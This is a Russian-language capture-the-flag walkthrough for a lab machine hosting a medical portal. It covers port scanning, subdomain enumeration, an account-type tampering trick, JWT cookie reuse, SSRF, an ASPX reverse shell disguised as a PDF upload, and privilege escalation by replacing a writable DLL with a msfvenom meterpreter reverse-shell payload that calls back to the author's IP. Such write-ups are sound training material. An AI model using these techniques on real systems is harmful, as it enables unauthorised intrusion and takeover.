Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/199.

Также на https://boosty.to/kiberdruzhinnik/posts/c7cb5a89-9531-4c67-adbf-2ec39dbf4865 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Для сканирования машины 10.10.11.238 воспользуемся rustscan:

$ rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.238 -- -A -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.238:80
Open 10.10.11.238:443
Open 10.10.11.238:7680
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.238
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 15:02 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
Initiating Ping Scan at 15:02
Scanning 10.10.11.238 [2 ports]
Completed Ping Scan at 15:02, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:02
Completed Parallel DNS resolution of 1 host. at 15:02, 1.06s elapsed
DNS resolution of 1 IPs took 1.06s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 15:02
Scanning 10.10.11.238 [3 ports]
Discovered open port 80/tcp on 10.10.11.238
Discovered open port 443/tcp on 10.10.11.238
Discovered open port 7680/tcp on 10.10.11.238
Completed Connect Scan at 15:02, 0.05s elapsed (3 total ports)
Initiating Service scan at 15:02
Scanning 3 services on 10.10.11.238
Completed Service scan at 15:02, 43.82s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.238.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 5.12s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.50s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
Nmap scan report for 10.10.11.238
Host is up, received syn-ack (0.057s latency).
Scanned at 2023-10-28 15:02:06 EDT for 50s

PORT     STATE SERVICE    REASON  VERSION
80/tcp   open  http       syn-ack Microsoft IIS httpd 10.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://meddigi.htb/
|_http-server-header: Microsoft-IIS/10.0
443/tcp  open  https?     syn-ack
7680/tcp open  pando-pub? syn-ack
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.78 seconds

Веб-сервис

При переходе на веб-сервис на 80 порту происходит редирект на 443 порт и домен meddigi.htb, поэтому добавим этот хост в /etc/hosts.

Alt text

$ sudo nano /etc/hosts
10.10.11.238 meddigi.htb

После этого попадаем на веб-сервис.

Alt text

По перехвату запросов в Burp Suite обнаруживаем, что приложение написано на ASP DotNet Core.

Alt text

Поищем поддомены с помощью gobuster.

gobuster vhost -u https://meddigi.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 20 -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             https://meddigi.htb
[+] Method:          GET
[+] Threads:         20
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: portal.meddigi.htb Status: 200 [Size: 2976]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

Найденный поддомен аналогично добавим в /etc/hosts.

Alt text

Зарегистрируем себе пользователя на первом сайте, залогинимся и обнаружим JWT-токен в Cookie под именем access_token.

Alt text

Декодируем его и получим следующие значения:

{
    "unique_name": "9",
    "email": "[email protected]",
    "nbf": 1698567881,
    "exp": 1698571481,
    "iat": 1698567881,
    "iss": "MedDigi",
    "aud": "MedDigiUser"
}

Проведем регистрацию еще раз и обнаружим, что у нас существует поле Acctype.

Alt text

Отправим запрос в Repeater и поменяем Acctype (также добавим новую почту и логин).

Alt text

После логина имеем учетную запись врача.

Alt text

Скопируем Cookie access_token и его значение и добавим его в portal.meddigi.htb, после чего перезагрузим страницу и получим доступ к порталу.

Alt text

Мы можем перейти на Issue Prescription в боковом меню и увидеть поле для ввода почты и ссылки, которое генерирует превью.

Alt text

Пробуем вводить туда разные адреса и находим нечто http://127.0.0.1:8080.

Alt text

Alt text

Получаем ссылку вида https://portal.meddigi.htb/ViewReport.aspx?file=eefeccb8-4c86-45b4-a38d-81754324a11b_Cardiology_Report_1.pdf.

Стоит отметить, что в меню Upload Report можно загружать PDF-файлы, и там обнаруживается уязвимость SSRF.

Далее пробуем загрузить любой валидный PDF-файл и вытаскиваем его начальную сигнатуру, это должно быть похоже на %PDF-1.7.

Берем ASPX реверс-шелл https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx и меняем в нем порт и IP-адрес на свои.

В начало шелла пишем метадату из валидного PDF, которую мы определили выше, после чего просто загружаем получившийся файл как PDF-отчет, при этом сохраняем наше расширение.

Снова через Issue Prescriptions смотрим на список файлов и видим свой шелл:

https://portal.meddigi.htb/ViewReport.aspx?file=b8cf46f5-bb42-4ba3-ba5f-af15d07e5a12_r.aspx

Меняем домен в ссылке на http://127.0.0.1:8080.

http://127.0.0.1:8080/ViewReport.aspx?file=b8cf46f5-bb42-4ba3-ba5f-af15d07e5a12_r.aspx

Запускаем netcat и отправляем ссылку, после чего ловим подключение.

Alt text

Пользовательский флаг

Alt text

Повышение привилегий

Выполняем netstat и видим приложение, которое работает на порту 100. Пробрасываем порт на локальную машину (в моем случае это будет порт 10100).

meterpreter> portfwd add -l 10100 -p 100 -r 127.0.0.1

Подключаемся с помощью netcat на этот порт и смотрим, какая есть функциональность.

$ nc 127.0.0.1 10100
Reports Management administrative console. Type "help" to view available commands.
> help
Available Commands:
backup: Perform a backup operation.
validate: Validates if any report has been altered since the last backup.
recover <filename>: Restores a specified file from the backup to the Reports folder.
upload <external source>: Uploads the reports to the specified external source.
> backup
Backup operation completed successfully.

С помощью dnspy реверсим бинарный DotNet-файл C:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll и находим путь в реестре, где лежит ключ шифрования, затем вытаскиваем его.

meterpreter > reg queryval -k HKLM\\Software\\MedDigi -v EncKey
Key: HKLM\Software\MedDigi
Name: EncKey
Type: REG_SZ
Data: xxx

Теперь с помощью evil-winrm подключаемся к машине в качестве devdoc:

Alt text

Находим каталог C:\Program Files\ReportManagement, а в нем бинарный файл ReportManagement.exe. С помощью реверса этого бинарника понимаем, что он подгружает в качестве динамической библиотеки файл C:\Program Files\ReportManagement\Libraries\externalupload.dll.

Alt text

Alt text

Проверим наши права на этот файл.

Alt text

Мы можем перезаписать этот файл как devdoc.

Сгенерируем реверс-шелл для meterpreter:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.91 LPORT=4246 -f dll -o externalupload.dll

Переименуем старый externalupload.dll и загрузим вместо него свой.

Запустим в meterpreter ожидание подключения, после чего снова подключимся с помощью netcat к сервису с RemoteManagement.exe и впишем в него:

upload pwn

Ловим подключение.

Alt text

Флаг суперпользователя

Alt text